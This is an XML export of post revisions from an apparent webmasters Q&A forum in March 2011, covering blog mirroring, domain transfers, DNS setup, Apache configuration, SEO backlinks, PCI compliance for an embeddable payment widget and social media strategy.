  <row Id="24931" PostHistoryTypeId="2" PostId="11060" RevisionGUID="ffa1cdca-323d-4b52-9d9e-8122c884e03c" CreationDate="2011-03-22T21:04:52.840" UserId="6268" Text="I want to create a dynamic mirror or a single site web proxy for my blog on a different domain. I have access to a php based web hosting, I own the content on the original site and due to low traffic I think bandwidth is not a issue at all. What would be the best way to proceed?&#xD;&#xA;&#xD;&#xA;To provide some context, my real problem is:&#xD;&#xA;- I have a blog hosted on blogger with a custom domain. (e.g. www.abc.com)&#xD;&#xA;- Blogger as a whole is blocked in some countries which effectively makes my blog blocked effectively.&#xD;&#xA;- I own another domain www.def.com and a hosting and all I want is www.def.com to be a dynamic mirror of www.abc.com.&#xD;&#xA;&#xD;&#xA;Redirecting will not work because, it will not really bypass the blocking filters.&#xD;&#xA;I am happy with the service of blogger and I do not really want to move or duplicate things.&#xD;&#xA;&#xD;&#xA;Before I did not have this problem because blogger allowed me to use ftp and upload stuff on a different hosting server but is not a n option any more." />
  <row Id="24932" PostHistoryTypeId="1" PostId="11060" RevisionGUID="ffa1cdca-323d-4b52-9d9e-8122c884e03c" CreationDate="2011-03-22T21:04:52.840" UserId="6268" Text="Single site web proxy" />
  <row Id="24933" PostHistoryTypeId="3" PostId="11060" RevisionGUID="ffa1cdca-323d-4b52-9d9e-8122c884e03c" CreationDate="2011-03-22T21:04:52.840" UserId="6268" Text="&lt;blogger&gt;&lt;dynamic&gt;&lt;mirror&gt;&lt;proxy&gt;" />
  <row Id="24934" PostHistoryTypeId="2" PostId="11061" RevisionGUID="ad9a97c7-f333-4146-8f80-e90e253a2161" CreationDate="2011-03-22T21:28:38.503" UserId="108" Text="Instead of doing something with your robots.txt which doesn't always do what you want, the better option is to just include a `&lt;link rel='canonical' href='XYZ' /&gt;` tag in all version of the page you are A/B testing and just make XYZ equal to the original/master version of the page.  That way you know for sure that Google is crawling at least one page.  That way Google will find the 1 version of the page you want them to even if they get sent to one of the other versions of the page.&#xD;&#xA;&#xD;&#xA;Another alternative is to use `&lt;meta name=&quot;robots&quot; content=&quot;noindex&quot;&gt;` in each pages header except for the original/master page.  Doing it this will way will Google to pass through each of the test pages and see the rest of your pages in the site but it won't give rankings to any specific page.  I think this is a less ideal solution but if for some reason your other page versions have links that aren't in your master version it will at least still give you some value." />
  <row Id="24935" PostHistoryTypeId="2" PostId="11062" RevisionGUID="56b2bf5e-995c-4e66-a5c4-2ecab3167500" CreationDate="2011-03-22T21:30:12.370" UserId="6236" Text="WebsiteOptimiser redirects to your a/b test cases, so Google itself should be ok, but...&#xD;&#xA;&#xD;&#xA;I add exclusion rules to robots.txt, as it is possible (albeit not that likely) that someone goes to your site whilst you're testing, and reposts the link ./index_b.php to their blog etc, from which point your split test URL is likely to be crawled.&#xD;&#xA;&#xD;&#xA;So much depends on the volume of traffic you're likely to encounter during your testing, and how long you're running test cases for.&#xD;&#xA;&#xD;&#xA;Once you're done, 301 redirect to the normal index.php page from the old test cases." />
  <row Id="24936" PostHistoryTypeId="2" PostId="11063" RevisionGUID="e675dac5-152e-4909-b290-e665ba33b057" CreationDate="2011-03-22T21:33:30.480" UserId="3620" Text="I recently renewed my domain for a year on BlueHost.  A few days later, I decided to transfer it to GoDaddy.  After transferring, GoDaddy did not show the new year that I recently paid for.  After contacting their support, they blamed it on BlueHost.  After contacting BlueHost support, I was given the following reply.  Does anybody know if this is actually an ICANN policy, or if they're just trying to short me out of the 10 bucks.&#xD;&#xA;&#xD;&#xA;&gt; Your domain was in the 45 day auto&#xD;&#xA;&gt; renew grace period. This is an ICANN&#xD;&#xA;&gt; policy. In short, it means that the&#xD;&#xA;&gt; renewal is considered tentative for 45&#xD;&#xA;&gt; days and not permanent. If you&#xD;&#xA;&gt; transfer the domain within that 45 day&#xD;&#xA;&gt; period you don't get the year you paid&#xD;&#xA;&gt; for." />
  <row Id="24937" PostHistoryTypeId="1" PostId="11063" RevisionGUID="e675dac5-152e-4909-b290-e665ba33b057" CreationDate="2011-03-22T21:33:30.480" UserId="3620" Text="Domain Transfer not carrying over paid time" />
  <row Id="24938" PostHistoryTypeId="3" PostId="11063" RevisionGUID="e675dac5-152e-4909-b290-e665ba33b057" CreationDate="2011-03-22T21:33:30.480" UserId="3620" Text="&lt;domain-registration&gt;" />
  <row Id="24939" PostHistoryTypeId="25" PostId="11060" RevisionGUID="3d82fb11-883e-4f84-b0d3-e82479d1cdf0" CreationDate="2011-03-22T23:30:28.210" Comment="http://twitter.com/#!/StackWebmasters/status/50338583822860288" />
  <row Id="24940" PostHistoryTypeId="2" PostId="11064" RevisionGUID="73c7a2b9-52b2-456f-84d1-2d41db16d2ba" CreationDate="2011-03-23T00:49:05.407" UserId="6273" Text="One of my co-workers has successfully deployed an httpd configuration on his MacOS laptop that includes:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    &lt;Directory &quot;/Users/benson/x/btweb/web_2_0/./sites/us&quot;&gt;&#xD;&#xA;            Satisfy Any&#xD;&#xA;            Order Deny,Allow&#xD;&#xA;            Allow from all&#xD;&#xA;    &lt;/Directory&gt;&#xD;&#xA;&#xD;&#xA;WHen I try it, I get a complaint from (e.g.) httpd -t that 'Order' is not a defined directive.&#xD;&#xA;&#xD;&#xA;I haven't done anything that I know of to customize the module set. &#xD;&#xA;&#xD;&#xA;" />
  <row Id="24941" PostHistoryTypeId="1" PostId="11064" RevisionGUID="73c7a2b9-52b2-456f-84d1-2d41db16d2ba" CreationDate="2011-03-23T00:49:05.407" UserId="6273" Text="Stock MacOSX 10.6 httpd rejects 'Order'" />
  <row Id="24942" PostHistoryTypeId="3" PostId="11064" RevisionGUID="73c7a2b9-52b2-456f-84d1-2d41db16d2ba" CreationDate="2011-03-23T00:49:05.407" UserId="6273" Text="&lt;httpd&gt;&lt;mac&gt;" />
  <row Id="24943" PostHistoryTypeId="2" PostId="11065" RevisionGUID="d3a32e97-2788-4027-97e2-fe673e5dca9e" CreationDate="2011-03-23T00:58:09.960" UserId="6271" Text="Are there any apps, services, or business models for an open, shared revenue system that can be plugged into AdSense, Google &amp; Amazon's affiliate programs, or any of the other larger advertising platforms?&#xD;&#xA;&#xD;&#xA;By &quot;revenue-sharing&quot; I mean some sort of smart functionality that divides up revenue per user based on some measurement of effort or content put into the website by that user." />
  <row Id="24944" PostHistoryTypeId="1" PostId="11065" RevisionGUID="d3a32e97-2788-4027-97e2-fe673e5dca9e" CreationDate="2011-03-23T00:58:09.960" UserId="6271" Text="Revenue-sharing model for Advertising/Affiliate revenue on a multi-author Content Website - Does this exist?" />
  <row Id="24945" PostHistoryTypeId="3" PostId="11065" RevisionGUID="d3a32e97-2788-4027-97e2-fe673e5dca9e" CreationDate="2011-03-23T00:58:09.960" UserId="6271" Text="&lt;advertising&gt;&lt;google-adsense&gt;&lt;amazon&gt;&lt;revenue&gt;" />
  <row Id="24946" PostHistoryTypeId="6" PostId="9422" RevisionGUID="efcff0d4-0cea-4e8d-b792-dff193e0afb1" CreationDate="2011-03-23T01:15:41.327" UserId="1253" Comment="added &quot;looking-for-hosting &quot; tag" Text="&lt;php&gt;&lt;vps&gt;&lt;looking-for-hosting&gt;" />
  <row Id="24947" PostHistoryTypeId="2" PostId="11066" RevisionGUID="79c31d58-f28e-426a-a39d-800199776e55" CreationDate="2011-03-23T01:19:05.843" UserId="2211" Text="I am trying to setup a blog to be used for our family. This blog will not be open to the public and family members will require a username and password to enter the site.&#xD;&#xA;&#xD;&#xA;  I had originally settled on Wordpress with some content restriction plugins but I am beginning to question that decision. So many Wordpress features are not relevant to a family blog. Items like Trackbacks are confusing to users and still show up even when trackbacks are disabled for a specific post.&#xD;&#xA;&#xD;&#xA;  To that end I am looking for recommendations on open source blog engines that might fit the bill. I run IIS and Apache so either platform is fine. Thanks." />
  <row Id="24948" PostHistoryTypeId="1" PostId="11066" RevisionGUID="79c31d58-f28e-426a-a39d-800199776e55" CreationDate="2011-03-23T01:19:05.843" UserId="2211" Text="Blogging platform for private/family blog?" />
  <row Id="24949" PostHistoryTypeId="3" PostId="11066" RevisionGUID="79c31d58-f28e-426a-a39d-800199776e55" CreationDate="2011-03-23T01:19:05.843" UserId="2211" Text="&lt;apache&gt;&lt;iis&gt;&lt;blog&gt;" />
  <row Id="24950" PostHistoryTypeId="17" PostId="11066" RevisionGUID="f0f92208-df4c-4eca-a027-9b8eaa32ba20" CreationDate="2011-03-23T01:28:33.260" UserId="-1" Comment="from http://serverfault.com/questions/250602/blogging-platform-for-private-family-blog" Text="" />
  <row Id="24951" PostHistoryTypeId="2" PostId="11067" RevisionGUID="d398d337-6e5c-4d8d-a2f1-d4394af6f53b" CreationDate="2011-03-23T01:50:11.873" UserId="6252" Text="Well I would still recommend going with wordpress and for privacy you can simply setup htpasswd protection. &#xD;&#xA;&#xD;&#xA;The idea would be that your family members would have to enter a username and password combination to see the entire site where the blog would be located. There are a couple ways you can do this as well..&#xD;&#xA;&#xD;&#xA;You can either assign each person a unique username/password. OR, a generic username/password for everyone so they can access the blog etc. &#xD;&#xA;&#xD;&#xA;Wordpress wide adoption will easily allow you to tap into their vast database of plugins etc. which comes in handy in my opinion." />
  <row Id="24952" PostHistoryTypeId="2" PostId="11068" RevisionGUID="08ebced2-cf2e-43a2-b809-ab5e3717cb0d" CreationDate="2011-03-23T01:58:11.133" UserId="6252" Text="Anytime you transfer a domain from one registrar to another, it automatically adds a one year extension (renewal).&#xD;&#xA;&#xD;&#xA;You want to check and find out if BlueHost was actually using godaddy's system to manage your domain.&#xD;&#xA;&#xD;&#xA;Either case, anytime you paid for renewal there are no exceptions. You paid for renewal so you get a year's worth of renewal. If the domain was expired past 30 or 60 days (can't remember) then there is an additional fee to get the domain reactivate. " />
  <row Id="24953" PostHistoryTypeId="2" PostId="11069" RevisionGUID="1c7f210d-8f5a-473f-bac7-3a814d6f1509" CreationDate="2011-03-23T02:02:58.350" UserId="6274" Text="I've built a little embeddable Javascript widget that list items for sale for publishers to embed on their site. The current use case is that when the user clicks on an item, they are redirected to my site where they can get more information and hopefully purchase the item. Typical workflow here.&#xD;&#xA;&#xD;&#xA;What I would like to do is move that entire workflow inside the widget. Specifically, I'd like for the user to purchase the item directly through the widget without ever having to go to my site.&#xD;&#xA;&#xD;&#xA;The widget would communicate with my back-end over SSL which would delegate the payment processing to Braintree or some other 3rd party gateway. &#xD;&#xA;&#xD;&#xA;Technically, this is very feasible for me to implement. But are there any regulatory or compliance issues that would make this infeasible? What sort of issues do you expect I would encounter if I were to take this approach? What are the security implications?" />
  <row Id="24954" PostHistoryTypeId="1" PostId="11069" RevisionGUID="1c7f210d-8f5a-473f-bac7-3a814d6f1509" CreationDate="2011-03-23T02:02:58.350" UserId="6274" Text="What are the PCI compliance and security implications for processing payments through my embeddable widget?" />
  <row Id="24955" PostHistoryTypeId="3" PostId="11069" RevisionGUID="1c7f210d-8f5a-473f-bac7-3a814d6f1509" CreationDate="2011-03-23T02:02:58.350" UserId="6274" Text="&lt;javascript&gt;&lt;pci-compliance&gt;&lt;widgets&gt;" />
  <row Id="24956" PostHistoryTypeId="2" PostId="11070" RevisionGUID="530e6af0-9c58-4e93-b684-2829aa3ca6d8" CreationDate="2011-03-23T02:16:42.950" UserId="6252" Text="Graphics Designers are just like any other workers..The more details they have the better they can perform. I will break down your question into 2...&#xD;&#xA;&#xD;&#xA;1) What to look for in graphics designers...&#xD;&#xA;This is very tricky...everyone wants a good designer and wants to pay cheap prices. In my experience &quot;good&quot; and &quot;cheap&quot; do not go together..so you need to pick one..ask to see their portfolio and see what type of designs have they worked with. Find out how many revisions they can do. How fast they can deliver. Will they also code the design into html or not? &#xD;&#xA;&#xD;&#xA;2) How to convey your ideas and give details about your projects..&#xD;&#xA;I do this in 3 steps normally.. a) provide a through and detailed spec sheet about each and every page. Don't forget to include drawings and screenshots. Screenshots doesn't have to be of entire page. They can just be pieces of other sites you found. Remember, a picture is worth a thousand words and in this case where you are working with a designer it is very true...b) include a list of other websites and write some notes about what you like and what you dislike..this gives a very thorough idea to the designer about how to come up with an impressive design...c) if possible use wireframes&#xD;&#xA;" />
  <row Id="24957" PostHistoryTypeId="2" PostId="11071" RevisionGUID="9d29674a-3d73-474e-b07a-944a0c781853" CreationDate="2011-03-23T02:25:48.183" UserId="5406" Text="The traceroute is to your server (for dostavahrane.si), not to the DNS for your server name; in any case, it is ok.  This traceroute has nothing to do with your the time to get to  your DNS, but that's generally not something to worry about.  The time needed for DNS is usually fine as long as the DNS server itself is good.  The country it is located in doesn't matter.  " />
  <row Id="24958" PostHistoryTypeId="25" PostId="11069" RevisionGUID="fc05f175-2eb4-4679-9d3e-7282ad7b5269" CreationDate="2011-03-23T02:30:27.813" Comment="http://twitter.com/#!/StackWebmasters/status/50383879961448448" />
  <row Id="24959" PostHistoryTypeId="2" PostId="11072" RevisionGUID="6f19ba01-8528-4925-8490-beccf9caf5f3" CreationDate="2011-03-23T02:49:43.180" UserId="767" Text="I'd suggest going with [Drupal](http://www.drupal.org) - everything you need can be configured either out of the box or with a couple of extra modules. &#xD;&#xA;&#xD;&#xA;[Content Access](http://drupal.org/project/content_access) is one - allows you to restrict access to entire content types, so you don't need to remember to secure every blog post. I use this on a site where &quot;Story&quot; posts are public, but &quot;Blog&quot; posts are only visible if you're logged on.&#xD;&#xA;&#xD;&#xA;Also, Drupal gives you control over what appears on the screen through it's block system - though if you want still more control, check out [Panels](http://drupal.org/project/panels) and [Views](http://drupal.org/project/views)." />
  <row Id="24960" PostHistoryTypeId="2" PostId="11073" RevisionGUID="4a549072-55b0-4f1c-a598-46a6efa2d3d4" CreationDate="2011-03-23T03:15:39.230" UserId="6275" Text="&#xD;&#xA;Some acquaintances of mine inherited a website running a custom wordpress template and the previous owner asked them to take over and to get it set up on their own server.  I was asked to assist since I was the only one they knew with some technical skills.&#xD;&#xA;&#xD;&#xA;The previous site owner send me a backup of the web files and the mySQL database and recommended using site5.com for hosting.&#xD;&#xA;&#xD;&#xA;I got the files installed, things seemed to be OK and we were then ready to transfer the DNS.&#xD;&#xA;&#xD;&#xA;The domain is registered through GoDaddy and the prior owner issued a transfer to me, I got signed up accepted the domain and then went in and set the nameservers per site5 instructions:  dns.site5.com and dns2.site5.com&#xD;&#xA;&#xD;&#xA;I expected that this was all that would be required and would just wait for the dns entries to update.&#xD;&#xA;&#xD;&#xA;However, at present when I browse or ping the Website.  I get Server not Found.&#xD;&#xA;&#xD;&#xA;Is there anything else that I should have done or am I just in DNS Limbo?&#xD;&#xA;&#xD;&#xA;WHOIS.NET reports that it is registered to me and has the nameservers correct.&#xD;&#xA;&#xD;&#xA;You'll have to excuse me, while I've set up several websites internally at my work, this is the first time I've worked on an internet website.&#xD;&#xA;&#xD;&#xA;Thanks for any help you can offer." />
  <row Id="24961" PostHistoryTypeId="1" PostId="11073" RevisionGUID="4a549072-55b0-4f1c-a598-46a6efa2d3d4" CreationDate="2011-03-23T03:15:39.230" UserId="6275" Text="Having trouble moving Website" />
  <row Id="24962" PostHistoryTypeId="3" PostId="11073" RevisionGUID="4a549072-55b0-4f1c-a598-46a6efa2d3d4" CreationDate="2011-03-23T03:15:39.230" UserId="6275" Text="&lt;wordpress&gt;&lt;dns&gt;&lt;godaddy&gt;&lt;nameserver&gt;" />
  <row Id="24963" PostHistoryTypeId="2" PostId="11074" RevisionGUID="f042baed-4398-44ad-95ac-51eb2872e033" CreationDate="2011-03-23T03:22:32.953" UserId="6265" Text="I'm currently working on building a video game related website, and I'm wondering if it's legal to use screenshots or concept art that game studios post on their official sites. At most I would want to crop these images to create links with.&#xD;&#xA;&#xD;&#xA;I see other sites like IGN, Gamespot, etc doing this at length, but I'm wondering if they have to have permission." />
  <row Id="24964" PostHistoryTypeId="1" PostId="11074" RevisionGUID="f042baed-4398-44ad-95ac-51eb2872e033" CreationDate="2011-03-23T03:22:32.953" UserId="6265" Text="Legal to modify game art and screenshots for my own site?" />
  <row Id="24965" PostHistoryTypeId="3" PostId="11074" RevisionGUID="f042baed-4398-44ad-95ac-51eb2872e033" CreationDate="2011-03-23T03:22:32.953" UserId="6265" Text="&lt;images&gt;&lt;legal&gt;" />
  <row Id="24966" PostHistoryTypeId="6" PostId="11066" RevisionGUID="b3d69d12-258f-4cf5-97a0-331937697456" CreationDate="2011-03-23T03:43:33.543" UserId="1253" Comment="added &quot;looking-for-a-script &quot; tag" Text="&lt;apache&gt;&lt;blog&gt;&lt;iis&gt;&lt;looking-for-a-script&gt;" />
  <row Id="24967" PostHistoryTypeId="2" PostId="11075" RevisionGUID="09df5be8-4bf3-4e70-9201-34fa77767741" CreationDate="2011-03-23T04:53:35.367" UserId="5026" Text="I'm in the process of submitting a job application for an online content editor position.  Part of the application process requires submitting your proposed socia media strategy.&#xD;&#xA;&#xD;&#xA;I haven't needed to compose a social media strategy before, and a basic google search does not find anything revealing.&#xD;&#xA;&#xD;&#xA;The organisation is a Christian school, and wants to include graduates and alumni in its social network.&#xD;&#xA;&#xD;&#xA;Any pointers to strategy ideas?" />
  <row Id="24968" PostHistoryTypeId="1" PostId="11075" RevisionGUID="09df5be8-4bf3-4e70-9201-34fa77767741" CreationDate="2011-03-23T04:53:35.367" UserId="5026" Text="Social Media Strategy" />
  <row Id="24969" PostHistoryTypeId="3" PostId="11075" RevisionGUID="09df5be8-4bf3-4e70-9201-34fa77767741" CreationDate="2011-03-23T04:53:35.367" UserId="5026" Text="&lt;social-media&gt;&lt;social-networks&gt;&lt;social-networking&gt;" />
  <row Id="24970" PostHistoryTypeId="25" PostId="11073" RevisionGUID="87346394-7810-4a2c-9c2e-a3ce8d156a36" CreationDate="2011-03-23T05:30:27.867" Comment="http://twitter.com/#!/StackWebmasters/status/50429178704707585" />
  <row Id="24971" PostHistoryTypeId="2" PostId="11076" RevisionGUID="5dd81ff6-3ed1-4e39-8245-6037e551443c" CreationDate="2011-03-23T05:30:41.280" UserId="6028" Text="Make sure you have an A record with the IP of the server hosting the files in GoDaddy domain management. Also, on your server, be sure your httpd.conf has the site's entry, maybe in the virtual hosts section (if you're using apache)." />
  <row Id="24972" PostHistoryTypeId="2" PostId="11077" RevisionGUID="66362bae-2e1a-446d-98e9-7fa98d8a02c2" CreationDate="2011-03-23T07:10:26.930" UserId="6278" Text="Hi I have tomcat server configured with two virtual hosts. All these virtual hosts uses grails and was working fine till I started using the grails ui-performance plugin. After adding this plugin and using virtual hosts, the Tomcat does not seem to serve the content encoding for the compressed css and js files. The browser cant decode the the compressed css files and css is not loaded.&#xD;&#xA;&#xD;&#xA;Surprisingly if the virtual host config is removed and the same app is called via the context name, it works correctly&#xD;&#xA;&#xD;&#xA;I would grateful for any suggestions, as this is killing a lot of time. I would be happy to provide any more inputs needed. Regards Jayakrishnan" />
  <row Id="24973" PostHistoryTypeId="1" PostId="11077" RevisionGUID="66362bae-2e1a-446d-98e9-7fa98d8a02c2" CreationDate="2011-03-23T07:10:26.930" UserId="6278" Text="Tomca 6.0.20-virtual hosting-grails-ui-performance plugin" />
  <row Id="24974" PostHistoryTypeId="3" PostId="11077" RevisionGUID="66362bae-2e1a-446d-98e9-7fa98d8a02c2" CreationDate="2011-03-23T07:10:26.930" UserId="6278" Text="&lt;content-encoding&gt;&lt;virtualhost&gt;" />
  <row Id="24975" PostHistoryTypeId="25" PostId="11077" RevisionGUID="84758c19-6ece-40ca-8e50-8889aacd0d07" CreationDate="2011-03-23T08:30:27.480" Comment="http://twitter.com/#!/StackWebmasters/status/50474475514363904" />
  <row Id="24976" PostHistoryTypeId="2" PostId="11078" RevisionGUID="dc505b73-33e0-4085-a87e-0bad9c62f0ce" CreationDate="2011-03-23T09:04:04.927" UserId="1064" Text="While it may differ from industry to industry, my experience would suggest that an organization which is soliciting social media strategies from applicants is likely composed of individuals who meet one or more of the following criteria:&#xD;&#xA;&#xD;&#xA;(a) Have no idea what a &quot;social media strategy&quot; is, convinced the organization *should* have one&#xD;&#xA;&#xD;&#xA;(b) Attempting to ferret out applicants who are full of hot air (i.e. any applicant who suggests that social media will revolutionize the organization's marketing capabilities)&#xD;&#xA;&#xD;&#xA;(c) Replacing the type of applicant who promised millions of Facebook and Twitter leads ... by looking for someone else who will promise the world and perhaps has a &quot;better&quot; social media strategy.&#xD;&#xA;&#xD;&#xA;Social media is not revolutionizing advertising or marketing, despite what many self-proclaimed &quot;Social Media Strategists&quot; tend to announce (likewise, those preaching &quot;TV is dead&quot; are [obviously not watching the Nielsen ratings][1]).&#xD;&#xA;&#xD;&#xA;People don't bother with most social media advertisements (look at [Facebook ads' performance][2]) - people use social media to share their opinions on products, air their grievances, and (if you respond to their opinions or grievances) talk to your organization.&#xD;&#xA;&#xD;&#xA;Social media *is* revolutionizing *customer service* and *public relations* (for those companies who are ready to engage their customers versus just talking at them).&#xD;&#xA;&#xD;&#xA;The best strategy for maximizing one's return on time spent working with social media is to identify ways in which customers **want** to interact with your organization and meet them at the venue of their choice - whether that means replying to posts on their personal blogs, correcting a problem they mention on a forum, or letting them post comments to a company Facebook wall.&#xD;&#xA;&#xD;&#xA;The tools I've found most useful for conducting the customer service and public relations side of social media have been [Google Alerts][3] (to see whenever the brand's name gets a mention) and the company's own blogs, forums, and social media profiles.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://articles.cnn.com/2009-02-24/entertainment/us.video.nielsen_1_nielsen-company-nielsen-spokesman-gary-holmes-watching?_s=PM:SHOWBIZ&#xD;&#xA;  [2]: http://www.adweek.com/aw/content_display/esearch/e3i3526b9ba6837828c88f374604a45b9a6&#xD;&#xA;  [3]: http://www.google.com/alerts" />
  <row Id="24977" PostHistoryTypeId="2" PostId="11079" RevisionGUID="e5bf7a0a-aef2-49da-ab1d-b2c740559dac" CreationDate="2011-03-23T09:26:08.427" UserId="2285" Text="When one is interested in creating a service for the masses, and thus wants to reach an international target, a decision has to be made whether to follow a so called &quot;ethnocentric&quot; approach when it comes to the brand name or a &quot;poly/regio-centric&quot; approach where a different brand name is used for each country or region.&#xD;&#xA;&#xD;&#xA;Since the internet user is globalizing every day, it would make sense to create a global brand. An obvious example would be Google.&#xD;&#xA;&#xD;&#xA;My question is, how does one think of such name that has the &quot;perfect&quot; balance between brandability and &quot;catchyness&quot; for the biggest target markets, in this case continents of the world?&#xD;&#xA;&#xD;&#xA;Some issues here:&#xD;&#xA;&#xD;&#xA; - If something can be pronounced and memorized in one culture this may very well not be the case in another.&#xD;&#xA; - It seems rather difficult to &quot;test&quot; a certain idea&#xD;&#xA;&#xD;&#xA;Note that this is not meant for a specific project, it is just me expressing general curiosity on how one would approach this problem." />
  <row Id="24978" PostHistoryTypeId="1" PostId="11079" RevisionGUID="e5bf7a0a-aef2-49da-ab1d-b2c740559dac" CreationDate="2011-03-23T09:26:08.427" UserId="2285" Text="Creating an international website service (domain)name or brand" />
  <row Id="24979" PostHistoryTypeId="3" PostId="11079" RevisionGUID="e5bf7a0a-aef2-49da-ab1d-b2c740559dac" CreationDate="2011-03-23T09:26:08.427" UserId="2285" Text="&lt;domain-names&gt;&lt;branding&gt;" />
  <row Id="24980" PostHistoryTypeId="2" PostId="11080" RevisionGUID="7f871288-796c-4e1a-8c3c-65ff8626d8c6" CreationDate="2011-03-23T09:44:59.980" UserId="1643" Text="From the Google help forums it looks like this isn't possible:&#xD;&#xA;http://www.google.com/support/forum/p/blogger/thread?tid=2fa60d7d99454722&amp;hl=en&#xD;&#xA;&#xD;&#xA;However there is an export and import option. Could you manually export the main blog and import into a second blog (which your second domain points at)? You would need to do it every time you post, so it's not the best solution. However you may find that easier than setting up your own proxy server." />
  <row Id="24981" PostHistoryTypeId="2" PostId="11081" RevisionGUID="a6aeb404-9546-4707-9c82-be6ce9781b52" CreationDate="2011-03-23T10:02:35.770" UserId="5739" Text="Have a read of this page here explaining the [ICANN policy on auto renew, transfers and refunds][1]:&#xD;&#xA;&#xD;&#xA;and this [ICANN page][2]&#xD;&#xA;&#xD;&#xA;**2.3 Auto-Renew Grace Period**&#xD;&#xA;&#xD;&#xA;The Auto-Renew Grace Period is a specified number of calendar days following an auto-renewal. An auto-renewal occurs if a domain name registration is not renewed by the expiration date; in this circumstance the registration will be automatically renewed by the system the first day after the expiration date. The current value of the Auto-Renew Grace Period is 45 calendar days. If a Delete, Extend, or Transfer occurs within the Auto-Renew Grace Period, the following rules apply:&#xD;&#xA;&#xD;&#xA; Transfer (other than ICANN-approved bulk transfer). If a domain is transferred under Part A of Exhibit B to the Registry-Registrar Agreement within the Auto-Renew Grace Period, the ***losing Registrar is credited with the Auto-Renew charge and the year added by the Auto-Renew operation is cancelled***. The expiration date of the domain is extended by one year up to a total maximum of ten by virtue of the transfer and the gaining Registrar is charged for that additional year, even in cases where a full year is not added because of the 10-year maximum limitation.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;BlueHost are within their rights but should really offer you a refund if they were &quot;nice&quot;. Pester them for it. They have had the money refunded so they should give it back to you but a lot of these companies have ToC's giving them every right to keep your money.&#xD;&#xA;&#xD;&#xA;GoDaddy should have added a year to your domain. So you should now be one year up on previously despite paying for two.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.icann.org/en/announcements/advisory-06jun02.htm&#xD;&#xA;  [2]: http://www.icann.org/en/tlds/agreements/verisign/registry-agmt-appc-16apr01.htm#3" />
  <row Id="24982" PostHistoryTypeId="2" PostId="11082" RevisionGUID="a24719ff-8c95-4c34-8a10-498dab2ee51b" CreationDate="2011-03-23T10:18:11.923" UserId="5718" Text="There's a good section on building a Social Media strategy in the book &quot;Social Media Marketing For Dummies&quot;. It's goes through the process with some pullouts and checksheets to use as a guide. &#xD;&#xA;&#xD;&#xA;In the end it's similar to any type of Marketing Strategy - Know the business (it's history and current products/direction), the market (customers) and the industry (competitors). Then come up with and select some sensible ideas for ways and places to connect with customers in order to spread the word about the target company to it's target market." />
  <row Id="24983" PostHistoryTypeId="2" PostId="11083" RevisionGUID="331f5457-cf76-44be-89e4-e4a82a2bfcbf" CreationDate="2011-03-23T10:18:55.900" UserId="6283" Text="Two links:&#xD;&#xA;&#xD;&#xA;     http://www.example.com &#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;http://www.example.com&quot;  rel=&quot;nofollow&quot;&gt;http://www.example.com&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;Now which one will be counted as backlink for my website( in turn increasing the seo value)?.&#xD;&#xA;&#xD;&#xA;Please don't say that form-1 is useless since this is format in which our website will be listed in profile links and such profile links are being sold by many link building websites for as low as $8 for 5000 profile links. Also for example facebook favorite too is stored in url format.&#xD;&#xA;" />
  <row Id="24984" PostHistoryTypeId="1" PostId="11083" RevisionGUID="331f5457-cf76-44be-89e4-e4a82a2bfcbf" CreationDate="2011-03-23T10:18:55.900" UserId="6283" Text="What's the difference between the two form of  backlinks wrt SEO worth" />
  <row Id="24985" PostHistoryTypeId="3" PostId="11083" RevisionGUID="331f5457-cf76-44be-89e4-e4a82a2bfcbf" CreationDate="2011-03-23T10:18:55.900" UserId="6283" Text="&lt;seo&gt;" />
  <row Id="24986" PostHistoryTypeId="2" PostId="11084" RevisionGUID="ee2e3d6b-198e-42cd-acfc-3271a6c44742" CreationDate="2011-03-23T10:52:30.690" UserId="5739" Text="Can you see your site on site5.com's IP address? Did they give you a temporary url so that you can test it prior to the nameserver change?&#xD;&#xA;&#xD;&#xA;Have site5/you setup your account so that there are records pointing to your site? If you haven't transferred the domain in to site5 or set up the domain in their &quot;backstage&quot; their nameservers won't know about your site. &#xD;&#xA;&#xD;&#xA;Could you give us the url so we can have a look?" />
  <row Id="24987" PostHistoryTypeId="2" PostId="11085" RevisionGUID="6c40743a-c997-4769-a05e-a5672f1737a0" CreationDate="2011-03-23T11:11:05.817" UserId="6174" Text="We look after about 50 websites for clients on shared hosting. We'll soon be moving them to a dedicated server so I am looking for a good place to manage my DNS records (the shared server is currently used as the nameserver too). I want something more reliable.&#xD;&#xA;&#xD;&#xA;I found DynDNS and was looking at their [Small to Medium Business offering](http://www.dyndns.com/services/dynectsmb/), does anyone have experience of using them? Also I presume '100 records' means 100 A records, CNAMES etc, not 100 different domains (my DNS knowledge is very limited).&#xD;&#xA;&#xD;&#xA;Can anyone suggest a good provider for a design/web agency that manages the hosting for it's clients?&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;Ric&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24988" PostHistoryTypeId="1" PostId="11085" RevisionGUID="6c40743a-c997-4769-a05e-a5672f1737a0" CreationDate="2011-03-23T11:11:05.817" UserId="6174" Text="Good DNS Hosting" />
  <row Id="24989" PostHistoryTypeId="3" PostId="11085" RevisionGUID="6c40743a-c997-4769-a05e-a5672f1737a0" CreationDate="2011-03-23T11:11:05.817" UserId="6174" Text="&lt;web-hosting&gt;&lt;dns&gt;&lt;nameserver&gt;&lt;name-servers&gt;" />
  <row Id="24990" PostHistoryTypeId="25" PostId="11085" RevisionGUID="a43c219b-8099-43c1-a41f-52bc512470c3" CreationDate="2011-03-23T11:30:27.750" Comment="http://twitter.com/#!/StackWebmasters/status/50519775213924352" />
  <row Id="24991" PostHistoryTypeId="2" PostId="11086" RevisionGUID="31546178-f62e-4a8b-9970-72ded0feeaee" CreationDate="2011-03-23T11:43:07.363" UserId="6284" Text="I would like to accept payments for international currencies, and also accept payment from foreign credit cards.&#xD;&#xA;For example, I want to sell a product who's price is in ILS, and also want to accept local Israeli credit cards.&#xD;&#xA;&#xD;&#xA;For the first part, does the merchant handle this, or do I have to do a currency conversion myself? &#xD;&#xA;&#xD;&#xA;For the second part, just simply is this possible to do?" />
